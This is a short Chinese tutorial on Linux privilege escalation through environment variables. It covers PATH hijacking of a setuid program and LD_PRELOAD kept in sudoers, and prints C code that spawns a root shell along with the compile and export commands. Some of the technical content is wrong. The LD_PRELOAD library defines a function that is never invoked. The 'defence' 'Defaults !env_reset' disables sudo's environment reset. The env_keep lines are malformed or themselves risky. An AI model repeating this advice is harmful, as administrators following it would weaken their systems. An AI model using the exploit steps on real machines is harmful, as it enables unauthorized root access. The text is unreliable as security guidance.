linux利用环境变量提权以及如何防范
案例:利用 PATH
环境变量进行提权
背景
假设在一个 Linux 系统中,用户 attacker
发现了一个具有 setuid 位的程序 sensitive_program
,该程序具有 root 权限。sensitive_program
在运行时会执行一些命令。
攻击步骤
-
创建恶意程序
攻击者创建一个恶意程序malicious_program
,该程序会在执行时获取 root 权限。// malicious_program.c #include <unistd.h>int main() {setuid(0); // 获取 root 权限system("/bin/bash"); // 执行 shellreturn 0; }
编译生成可执行文件:
gcc -o malicious_program malicious_program.c
-
设置
PATH
环境变量
攻击者将恶意程序的路径添加到PATH
环境变量的最前面。export PATH=/path/to/malicious:$PATH
-
执行 setuid 程序
攻击者执行sensitive_program
,由于PATH
环境变量的设置,程序会优先执行malicious_program
,从而获得 root 权限。./sensitive_program some_command
防范措施
-
限制
PATH
环境变量的修改权限
在/etc/sudoers
文件中配置,限制用户对PATH
环境变量的修改权限。Defaults !env_reset Defaults !env_keep += "PATH"
-
使用安全工具
使用 SELinux 或 AppArmor 等安全工具限制程序的行为,防止恶意代码的执行。 -
定期审查和更新配置
定期审查系统和应用程序的配置,确保没有不必要的环境变量设置。
案例:利用 sudoers
文件中的环境变量配置进行提权
背景
假设在一个 Linux 系统中,/etc/sudoers
文件中配置了允许用户在 sudo
命令中保留 LD_PRELOAD
环境变量。
Defaults env_keep += "LD_PRELOAD"
攻击步骤
-
创建恶意共享库
攻击者创建一个恶意共享库malicious.so
,其中包含一个函数vuln_function
,该函数会在程序运行时执行任意代码。// malicious.c #include <stdio.h> #include <unistd.h>void vuln_function() {system("/bin/bash"); // 执行 shell }
编译生成共享库:
gcc -shared -fPIC -o malicious.so malicious.c
-
设置
LD_PRELOAD
环境变量
攻击者设置LD_PRELOAD
环境变量,指向恶意共享库。export LD_PRELOAD=/path/to/malicious.so
-
执行
sudo
命令
攻击者执行sudo
命令,由于LD_PRELOAD
环境变量被保留,恶意共享库会被加载,从而执行vuln_function
函数,获得 root 权限。sudo sensitive_program
防范措施
-
谨慎配置
/etc/sudoers
文件
在/etc/sudoers
文件中谨慎配置env_keep
选项,确保只保留必要的环境变量。Defaults env_keep += "PATH"
-
使用安全工具
使用 SELinux 或 AppArmor 等安全工具限制程序的行为,防止恶意代码的执行。 -
定期审查和更新配置
定期审查系统和应用程序的配置,确保没有不必要的环境变量设置。
通过这些防范措施,可以有效地减少利用环境变量进行提权的风险,提高系统的安全性。